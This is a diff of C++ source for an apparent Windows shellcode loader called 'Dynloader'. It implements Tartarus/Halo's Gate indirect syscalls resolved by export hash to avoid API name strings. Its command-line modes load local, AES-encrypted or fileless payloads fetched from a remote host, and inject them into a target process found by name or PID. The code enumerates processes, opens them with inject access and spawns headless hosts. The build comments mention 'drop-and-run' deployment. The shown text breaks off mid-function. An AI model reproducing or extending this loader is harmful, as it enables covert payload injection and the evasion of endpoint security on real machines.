if (!table.gadget) {
|
||||
return false;
|
||||
}
|
||||
Log::Banner("Tartarus Gate Init");
|
||||
Log::Raw("ntdll=%p | indirect syscall; ret gadget=%p", ntdll, table.gadget);
|
||||
|
||||
PVOID stub = nullptr;
|
||||
|
||||
#define BIND(field, hash, tag) \
|
||||
if (!BindSyscall(table, hash, stub, tag)) return false; \
|
||||
table.field = reinterpret_cast<decltype(table.field)>(stub)
|
||||
|
||||
BIND(NtAllocateVirtualMemory, Hashes::H_NtAllocateVirtualMemory, "NtAllocateVirtualMemory");
|
||||
BIND(NtProtectVirtualMemory, Hashes::H_NtProtectVirtualMemory, "NtProtectVirtualMemory");
|
||||
BIND(NtWriteVirtualMemory, Hashes::H_NtWriteVirtualMemory, "NtWriteVirtualMemory");
|
||||
BIND(NtFreeVirtualMemory, Hashes::H_NtFreeVirtualMemory, "NtFreeVirtualMemory");
|
||||
BIND(NtCreateSection, Hashes::H_NtCreateSection, "NtCreateSection");
|
||||
BIND(NtMapViewOfSection, Hashes::H_NtMapViewOfSection, "NtMapViewOfSection");
|
||||
BIND(NtUnmapViewOfSection, Hashes::H_NtUnmapViewOfSection, "NtUnmapViewOfSection");
|
||||
BIND(NtOpenProcess, Hashes::H_NtOpenProcess, "NtOpenProcess");
|
||||
BIND(NtCreateThreadEx, Hashes::H_NtCreateThreadEx, "NtCreateThreadEx");
|
||||
BIND(NtClose, Hashes::H_NtClose, "NtClose");
|
||||
BIND(NtQuerySystemInformation, Hashes::H_NtQuerySystemInformation, "NtQuerySystemInformation");
|
||||
|
||||
#undef BIND
|
||||
|
||||
table.initialized = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
void CleanupStubs() {
|
||||
// Stubs are small RX pages; leak on exit is acceptable for loader lifetime.
|
||||
g_stubPages.clear();
|
||||
}
|
||||
|
||||
} // namespace TartarusGate
|
||||
@@ -0,0 +1,96 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "../common/nt_types.hpp"
|
||||
|
||||
namespace TartarusGate {
|
||||
|
||||
// NT syscall typedefs used by the loader.
|
||||
using fnNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(
|
||||
HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
|
||||
PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
|
||||
using fnNtProtectVirtualMemory = NTSTATUS(NTAPI*)(
|
||||
HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize,
|
||||
ULONG NewProtect, PULONG OldProtect);
|
||||
|
||||
using fnNtWriteVirtualMemory = NTSTATUS(NTAPI*)(
|
||||
HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer,
|
||||
SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
|
||||
|
||||
using fnNtFreeVirtualMemory = NTSTATUS(NTAPI*)(
|
||||
HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
|
||||
|
||||
using fnNtCreateSection = NTSTATUS(NTAPI*)(
|
||||
PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
|
||||
PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes,
|
||||
HANDLE FileHandle);
|
||||
|
||||
using fnNtMapViewOfSection = NTSTATUS(NTAPI*)(
|
||||
HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize,
|
||||
ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
|
||||
|
||||
using fnNtUnmapViewOfSection = NTSTATUS(NTAPI*)(
|
||||
HANDLE ProcessHandle, PVOID BaseAddress);
|
||||
|
||||
using fnNtOpenProcess = NTSTATUS(NTAPI*)(
|
||||
PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
|
||||
PCLIENT_ID_NT ClientId);
|
||||
|
||||
using fnNtCreateThreadEx = NTSTATUS(NTAPI*)(
|
||||
PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
|
||||
HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
|
||||
ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
|
||||
PVOID AttributeList);
|
||||
|
||||
using fnNtClose = NTSTATUS(NTAPI*)(HANDLE Handle);
|
||||
|
||||
using fnNtQuerySystemInformation = NTSTATUS(NTAPI*)(
|
||||
ULONG SystemInformationClass, PVOID SystemInformation,
|
||||
ULONG SystemInformationLength, PULONG ReturnLength);
|
||||
|
||||
using fnNtCreateFile = NTSTATUS(NTAPI*)(
|
||||
PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes,
|
||||
PIO_STATUS_BLOCK_NT IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes,
|
||||
ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer,
|
||||
ULONG EaLength);
|
||||
|
||||
using fnNtReadFile = NTSTATUS(NTAPI*)(
|
||||
HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK_NT IoStatusBlock, PVOID Buffer, ULONG Length,
|
||||
PLARGE_INTEGER ByteOffset, PULONG Key);
|
||||
|
||||
struct SyscallTable {
|
||||
fnNtAllocateVirtualMemory NtAllocateVirtualMemory = nullptr;
|
||||
fnNtProtectVirtualMemory NtProtectVirtualMemory = nullptr;
|
||||
fnNtWriteVirtualMemory NtWriteVirtualMemory = nullptr;
|
||||
fnNtFreeVirtualMemory NtFreeVirtualMemory = nullptr;
|
||||
fnNtCreateSection NtCreateSection = nullptr;
|
||||
fnNtMapViewOfSection NtMapViewOfSection = nullptr;
|
||||
fnNtUnmapViewOfSection NtUnmapViewOfSection = nullptr;
|
||||
fnNtOpenProcess NtOpenProcess = nullptr;
|
||||
fnNtCreateThreadEx NtCreateThreadEx = nullptr;
|
||||
fnNtClose NtClose = nullptr;
|
||||
fnNtQuerySystemInformation NtQuerySystemInformation = nullptr;
|
||||
PVOID gadget = nullptr;
|
||||
bool initialized = false;
|
||||
};
|
||||
|
||||
// Tartarus Gate + Halo's Gate SSN resolution by export hash (no API name strings).
|
||||
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash);
|
||||
|
||||
// Find `syscall; ret` gadget in ntdll .text for indirect syscalls.
|
||||
PVOID FindSyscallGadget(HMODULE ntdll);
|
||||
|
||||
// Build indirect syscall stub: mov r10,rcx / mov eax,SSN / jmp [gadget].
|
||||
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget);
|
||||
|
||||
// Initialize full syscall table with indirect stubs.
|
||||
bool Initialize(SyscallTable& table);
|
||||
|
||||
void CleanupStubs();
|
||||
|
||||
} // namespace TartarusGate
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 18
|
||||
VisualStudioVersion = 18.0.0.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader.vcxproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,98 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>18.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}</ProjectGuid>
|
||||
<RootNamespace>loader_v2</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v145</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v145</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<!-- /MTd: static debug CRT — no VCRUNTIME*D.dll needed on target -->
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<!-- /MT: static CRT — drop-and-run without vcruntime140.dll / msvcp140.dll -->
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="lib\common\log.cpp" />
|
||||
<ClCompile Include="lib\pe\pe_parser.cpp" />
|
||||
<ClCompile Include="lib\resolve\api_resolver.cpp" />
|
||||
<ClCompile Include="lib\syscall\tartarus_gate.cpp" />
|
||||
<ClCompile Include="lib\memory\section_map.cpp" />
|
||||
<ClCompile Include="lib\crypto\aes_crypto.cpp" />
|
||||
<ClCompile Include="lib\net\http_transport.cpp" />
|
||||
<ClCompile Include="loader\cli.cpp" />
|
||||
<ClCompile Include="loader\ingestion.cpp" />
|
||||
<ClCompile Include="loader\loader_core.cpp" />
|
||||
<ClCompile Include="loader\main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="lib\common\hashes.hpp" />
|
||||
<ClInclude Include="lib\common\log.hpp" />
|
||||
<ClInclude Include="lib\common\nt_types.hpp" />
|
||||
<ClInclude Include="lib\pe\pe_parser.hpp" />
|
||||
<ClInclude Include="lib\resolve\api_resolver.hpp" />
|
||||
<ClInclude Include="lib\syscall\tartarus_gate.hpp" />
|
||||
<ClInclude Include="lib\memory\section_map.hpp" />
|
||||
<ClInclude Include="lib\crypto\aes_crypto.hpp" />
|
||||
<ClInclude Include="lib\net\http_transport.hpp" />
|
||||
<ClInclude Include="loader\cli.hpp" />
|
||||
<ClInclude Include="loader\ingestion.hpp" />
|
||||
<ClInclude Include="loader\loader_core.hpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
</Project>
|
||||
+178
@@ -0,0 +1,178 @@
|
||||
#include "cli.hpp"
|
||||
|
||||
#include <iostream>
|
||||
#include <cstring>
|
||||
#include <vector>
|
||||
|
||||
namespace Cli {
|
||||
|
||||
bool IsVerboseFlag(const char* arg) {
|
||||
return arg && std::strcmp(arg, "--verbose") == 0;
|
||||
}
|
||||
|
||||
void PrintBanner(){
|
||||
std::cout << R"raw(
|
||||
██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ ███████╗██████╗
|
||||
██╔══██╗╚██╗ ██╔╝████╗ ██║██║ ██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗
|
||||
██║ ██║ ╚████╔╝ ██╔██╗ ██║██║ ██║ ██║███████║██║ ██║█████╗ ██████╔╝
|
||||
██║ ██║ ╚██╔╝ ██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║██╔══╝ ██╔══██╗
|
||||
██████╔╝ ██║ ██║ ╚████║███████╗██████╔╝██║ ██║██████╔╝███████╗██║ ██║
|
||||
╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
|
||||
)raw";
|
||||
}
|
||||
|
||||
void PrintUsage() {
|
||||
std::cout <<
|
||||
"Dynloader loader\n\n"
|
||||
"LOCAL:\n"
|
||||
" loader.exe <file.bin> [--verbose]\n"
|
||||
" loader.exe --process <name|PID> <file.bin> [--verbose]\n"
|
||||
" loader.exe --enc AES <file.bin> [--verbose]\n\n"
|
||||
"FILELESS:\n"
|
||||
" loader.exe --fileless --source <host[:port]> [--verbose]\n"
|
||||
" loader.exe --fileless --source <host> --enc AES [--verbose]\n"
|
||||
" loader.exe --fileless --source <host> --process <name|PID> [--enc AES] [--verbose]\n\n"
|
||||
"SERVER:\n"
|
||||
" loader.exe --server <file.bin> [--port 8080] [--verbose] plain\n"
|
||||
" loader.exe --server --enc AES <file.bin> [--port 8080] [--verbose]\n\n"
|
||||
"REMOTE Usage:\n"
|
||||
" Usage --process <name | PID>\n\n"
|
||||
"DEBUGGING MODE:\n"
|
||||
" Usage: --verbosE\n";
|
||||
"FUN Part:\n"
|
||||
" Use --banner to see suprise\n"
|
||||
" Usage - ./loader.exe --banner\n\n";
|
||||
}
|
||||
|
||||
static bool IsFlag(const char* a) {
|
||||
return a && a[0] == '-';
|
||||
}
|
||||
|
||||
static bool IsModeFlag(const char* a) {
|
||||
return a && (
|
||||
std::strcmp(a, "--fileless") == 0 ||
|
||||
std::strcmp(a, "--server") == 0 ||
|
||||
std::strcmp(a, "--enc") == 0 ||
|
||||
std::strcmp(a, "--selftest") == 0);
|
||||
}
|
||||
|
||||
Options Parse(int argc, char* argv[]) {
|
||||
Options opt{};
|
||||
|
||||
if (argc < 2) {
|
||||
opt.mode = Mode::Help;
|
||||
return opt;
|
||||
}
|
||||
|
||||
for (int i = 1; i < argc; ++i) {
|
||||
if (IsVerboseFlag(argv[i])) {
|
||||
opt.verbose = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (std::strcmp(argv[1], "--selftest") == 0) {
|
||||
opt.mode = Mode::Normal;
|
||||
opt.inputPath = "__selftest__";
|
||||
return opt;
|
||||
}
|
||||
|
||||
if (std::strcmp(argv[1], "--banner") == 0){
|
||||
opt.mode = Mode::Banner;
|
||||
return opt;
|
||||
}
|
||||
|
||||
if (std::strcmp(argv[1], "--server") == 0) {
|
||||
opt.mode = Mode::Server;
|
||||
// Server uses its own verbose channel (not loader syscall dumps).
|
||||
if (opt.verbose) {
|
||||
opt.server_verbose = true;
|
||||
opt.verbose = false;
|
||||
}
|
||||
for (int i = 2; i < argc; ++i) {
|
||||
if (IsVerboseFlag(argv[i])) {
|
||||
opt.server_verbose = true;
|
||||
opt.verbose = false;
|
||||
continue;
|
||||
}
|
||||
if (std::strcmp(argv[i], "--port") == 0 && i + 1 < argc) {
|
||||
opt.serverPort = static_cast<std::uint16_t>(std::atoi(argv[++i]));
|
||||
} else if (std::strcmp(argv[i], "--enc") == 0 && i + 2 < argc &&
|
||||
std::strcmp(argv[i + 1], "AES") == 0) {
|
||||
opt.useAes = true;
|
||||
i += 2;
|
||||
if (i < argc && !IsFlag(argv[i])) {
|
||||
opt.inputPath = argv[i];
|
||||
}
|
||||
} else if (!IsFlag(argv[i])) {
|
||||
opt.inputPath = argv[i];
|
||||
}
|
||||
}
|
||||
return opt;
|
||||
}
|
||||
|
||||
if (std::strcmp(argv[1], "--enc") == 0 && argc >= 4 && std::strcmp(argv[2], "AES") == 0) {
|
||||
opt.mode = Mode::Encrypt;
|
||||
opt.useAes = true;
|
||||
opt.inputPath = argv[3];
|
||||
return opt;
|
||||
}
|
||||
|
||||
if (std::strcmp(argv[1], "--fileless") == 0) {
|
||||
opt.mode = Mode::Fileless;
|
||||
for (int i = 2; i < argc; ++i) {
|
||||
if (IsVerboseFlag(argv[i])) {
|
||||
|
||||
continue;
|
||||
}
|
||||
if (std::strcmp(argv[i], "--source") == 0 && i + 1 < argc) {
|
||||
opt.sourceHost = argv[++i];
|
||||
} else if (std::strcmp(argv[i], "--enc") == 0 && i + 1 < argc &&
|
||||
std::strcmp(argv[i + 1], "AES") == 0) {
|
||||
opt.useAes = true;
|
||||
++i;
|
||||
} else if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) {
|
||||
opt.processTarget = argv[++i];
|
||||
opt.remoteIngestion = true;
|
||||
}
|
||||
}
|
||||
if (opt.sourceHost.empty()) {
|
||||
opt.mode = Mode::Help;
|
||||
}
|
||||
return opt;
|
||||
}
|
||||
|
||||
// Scan any order: --process <target> <file.bin> [--verbose]
|
||||
std::string binPath;
|
||||
for (int i = 1; i < argc; ++i) {
|
||||
if (IsVerboseFlag(argv[i])) {
|
||||
continue;
|
||||
}
|
||||
if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) {
|
||||
opt.processTarget = argv[++i];
|
||||
opt.remoteIngestion = true;
|
||||
continue;
|
||||
}
|
||||
if (!IsFlag(argv[i]) && !IsModeFlag(argv[i])) {
|
||||
if (binPath.empty()) {
|
||||
binPath = argv[i];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!binPath.empty()) {
|
||||
opt.mode = Mode::Normal;
|
||||
opt.inputPath = binPath;
|
||||
return opt;
|
||||
}
|
||||
|
||||
if (!IsFlag(argv[1])) {
|
||||
opt.mode = Mode::Normal;
|
||||
opt.inputPath = argv[1];
|
||||
return opt;
|
||||
}
|
||||
|
||||
opt.mode = Mode::Help;
|
||||
return opt;
|
||||
}
|
||||
|
||||
} // namespace Cli
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include <cstdint>
|
||||
#include <iostream>
|
||||
|
||||
namespace Cli {
|
||||
|
||||
enum class Mode {
|
||||
Normal,
|
||||
Encrypt,
|
||||
Fileless,
|
||||
Server,
|
||||
Help,
|
||||
Banner
|
||||
};
|
||||
|
||||
struct Options {
|
||||
Mode mode = Mode::Help;
|
||||
std::string inputPath;
|
||||
std::string sourceHost;
|
||||
std::string processTarget; // --process name or PID (remote ingestion)
|
||||
std::uint16_t sourcePort = 8080; /// kept default post as 8080
|
||||
bool useAes = false;
|
||||
std::uint16_t serverPort = 8080;
|
||||
bool verbose = false; // loader channel (--verbose on load/fileless/enc)
|
||||
bool remoteIngestion = false;
|
||||
bool server_verbose = false; // server channel (--server ... --verbose)
|
||||
};
|
||||
|
||||
bool IsVerboseFlag(const char* arg);
|
||||
Options Parse(int argc, char* argv[]);
|
||||
void PrintUsage();
|
||||
void PrintBanner();
|
||||
|
||||
} // namespace Cli
|
||||
@@ -0,0 +1,480 @@
|
||||
#include "ingestion.hpp"
|
||||
#include "../lib/memory/section_map.hpp"
|
||||
#include "../lib/common/nt_types.hpp"
|
||||
#include "../lib/common/log.hpp"
|
||||
#include "../lib/common/hashes.hpp"
|
||||
#include "../lib/resolve/api_resolver.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#include <cstdlib>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
|
||||
namespace Ingestion {
|
||||
|
||||
namespace {
|
||||
|
||||
constexpr ULONG kInjectAccess =
|
||||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
|
||||
|
||||
std::string NormalizeName(std::string name) {
|
||||
for (auto& c : name) {
|
||||
if (c >= 'A' && c <= 'Z') {
|
||||
c = static_cast<char>(c + 32);
|
||||
}
|
||||
}
|
||||
if (name.size() < 4 || name.substr(name.size() - 4) != ".exe") {
|
||||
name += ".exe";
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
bool BasenameMatches(const char* imagePath, const std::string& wantNorm) {
|
||||
if (!imagePath) {
|
||||
return false;
|
||||
}
|
||||
const char* base = std::strrchr(imagePath, '\\');
|
||||
base = base ? base + 1 : imagePath;
|
||||
|
||||
char lower[MAX_PATH] = {};
|
||||
strncpy_s(lower, base, _TRUNCATE);
|
||||
CharLowerA(lower);
|
||||
|
||||
std::string noExt = wantNorm;
|
||||
if (noExt.size() > 4 && noExt.substr(noExt.size() - 4) == ".exe") {
|
||||
noExt = noExt.substr(0, noExt.size() - 4);
|
||||
}
|
||||
|
||||
if (std::strcmp(lower, wantNorm.c_str()) == 0) {
|
||||
return true;
|
||||
}
|
||||
char lowerNoExt[MAX_PATH] = {};
|
||||
strncpy_s(lowerNoExt, lower, _TRUNCATE);
|
||||
size_t len = strlen(lowerNoExt);
|
||||
if (len > 4 && std::strcmp(lowerNoExt + len - 4, ".exe") == 0) {
|
||||
lowerNoExt[len - 4] = '\0';
|
||||
}
|
||||
return std::strcmp(lowerNoExt, noExt.c_str()) == 0;
|
||||
}
|
||||
|
||||
bool IsNumericPid(const std::string& target, DWORD& pid) {
|
||||
if (target.empty()) {
|
||||
return false;
|
||||
}
|
||||
for (char c : target) {
|
||||
if (c < '0' || c > '9') {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
pid = static_cast<DWORD>(std::strtoul(target.c_str(), nullptr, 10));
|
||||
return pid != 0;
|
||||
}
|
||||
|
||||
bool FindPidByName(TartarusGate::SyscallTable& sc, const std::string& wantNorm, DWORD& outPid) {
|
||||
Log::Banner("Process Enum (NtQuerySystemInformation)");
|
||||
Log::Sys("SystemProcessInformation look for image=%s", wantNorm.c_str());
|
||||
|
||||
ULONG bufSize = 1 << 20;
|
||||
std::vector<BYTE> buffer(bufSize);
|
||||
ULONG retLen = 0;
|
||||
|
||||
NTSTATUS st = sc.NtQuerySystemInformation(
|
||||
SystemProcessInformation, buffer.data(),
|
||||
static_cast<ULONG>(buffer.size()), &retLen);
|
||||
Log::NtStatus("NtQuerySystemInformation (pass1)", st);
|
||||
Log::Dbg("buffer=%lu retLen=%lu", bufSize, retLen);
|
||||
|
||||
if (st == static_cast<NTSTATUS>(0xC0000004)) {
|
||||
Log::Dbg("STATUS_INFO_LENGTH_MISMATCH — resize + retry");
|
||||
buffer.resize(retLen + 0x4000);
|
||||
st = sc.NtQuerySystemInformation(
|
||||
SystemProcessInformation, buffer.data(),
|
||||
static_cast<ULONG>(buffer.size()), &retLen);
|
||||
Log::NtStatus("NtQuerySystemInformation (pass2)", st);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(st)) {
|
||||
Log::NtStatus("NtQuerySystemInformation", st);
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t scanned = 0;
|
||||
auto* entry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION_NT*>(buffer.data());
|
||||
for (;;) {
|
||||
++scanned;
|
||||
if (entry->ImageName.Buffer && entry->ImageName.Length > 0) {
|
||||
char name[MAX_PATH] = {};
|
||||
WideCharToMultiByte(CP_ACP, 0, entry->ImageName.Buffer,
|
||||
entry->ImageName.Length / static_cast<int>(sizeof(WCHAR)),
|
||||
name, MAX_PATH - 1, nullptr, nullptr);
|
||||
|
||||
if (BasenameMatches(name, wantNorm)) {
|
||||
outPid = static_cast<DWORD>(reinterpret_cast<ULONG_PTR>(entry->UniqueProcessId));
|
||||
Log::Sys("Found PID %lu for %s (image=%s) after scanning %zu entries",
|
||||
outPid, wantNorm.c_str(), name, scanned);
|
||||
return outPid != 0;
|
||||
}
|
||||
}
|
||||
if (entry->NextEntryOffset == 0) {
|
||||
break;
|
||||
}
|
||||
entry = reinterpret_cast<SYSTEM_PROCESS_INFORMATION_NT*>(
|
||||
reinterpret_cast<BYTE*>(entry) + entry->NextEntryOffset);
|
||||
}
|
||||
Log::Dbg("no match for %s (scanned %zu processes)", wantNorm.c_str(), scanned);
|
||||
return false;
|
||||
}
|
||||
|
||||
HANDLE OpenProcessSyscall(TartarusGate::SyscallTable& sc, DWORD pid) {
|
||||
Log::Sys("NtOpenProcess PID=%lu DesiredAccess=0x%08lX "
|
||||
"(CREATE_THREAD|QUERY|VM_OP|VM_WRITE|VM_READ)",
|
||||
pid, static_cast<unsigned long>(kInjectAccess));
|
||||
|
||||
OBJECT_ATTRIBUTES_NT oa{};
|
||||
InitObjectAttributes(&oa, nullptr, 0, nullptr, nullptr);
|
||||
|
||||
CLIENT_ID_NT cid{};
|
||||
cid.UniqueProcess = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(pid));
|
||||
cid.UniqueThread = nullptr;
|
||||
|
||||
HANDLE h = nullptr;
|
||||
NTSTATUS st = sc.NtOpenProcess(&h, kInjectAccess, &oa, &cid);
|
||||
Log::NtStatus("NtOpenProcess", st);
|
||||
if (!NT_SUCCESS(st)) {
|
||||
return nullptr;
|
||||
}
|
||||
Log::Sys("NtOpenProcess OK handle=%p", h);
|
||||
return h;
|
||||
}
|
||||
|
||||
HANDLE OpenProcessWin32(DWORD pid) {
|
||||
Log::Dbg("fallback OpenProcess (Win32 hash-resolved) PID=%lu", pid);
|
||||
auto* k32 = ApiResolver::GetKernel32();
|
||||
if (!k32) {
|
||||
Log::Dbg("kernel32 base null");
|
||||
return nullptr;
|
||||
}
|
||||
using OpenProcess_t = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
|
||||
auto* pOpen = reinterpret_cast<OpenProcess_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_OpenProcess));
|
||||
if (!pOpen) {
|
||||
Log::Dbg("OpenProcess export resolve failed");
|
||||
return nullptr;
|
||||
}
|
||||
HANDLE h = pOpen(kInjectAccess, FALSE, pid);
|
||||
if (!h) {
|
||||
Log::Dbg("OpenProcess failed GetLastError=%lu", GetLastError());
|
||||
} else {
|
||||
Log::Sys("OpenProcess OK handle=%p", h);
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
bool SpawnHeadless(const std::wstring& exeName, RemoteTarget& out) {
|
||||
auto* k32 = ApiResolver::GetKernel32();
|
||||
if (!k32) {
|
||||
return false;
|
||||
}
|
||||
|
||||
using SearchPathW_t = DWORD(WINAPI*)(LPCWSTR, LPCWSTR, LPCWSTR, DWORD, LPWSTR, LPWSTR*);
|
||||
using CreateProcessW_t = BOOL(WINAPI*)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES,
|
||||
LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
|
||||
|
||||
auto* pSearch = reinterpret_cast<SearchPathW_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_SearchPathW));
|
||||
auto* pCreate = reinterpret_cast<CreateProcessW_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_CreateProcessW));
|
||||
auto* pClose = reinterpret_cast<CloseHandle_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
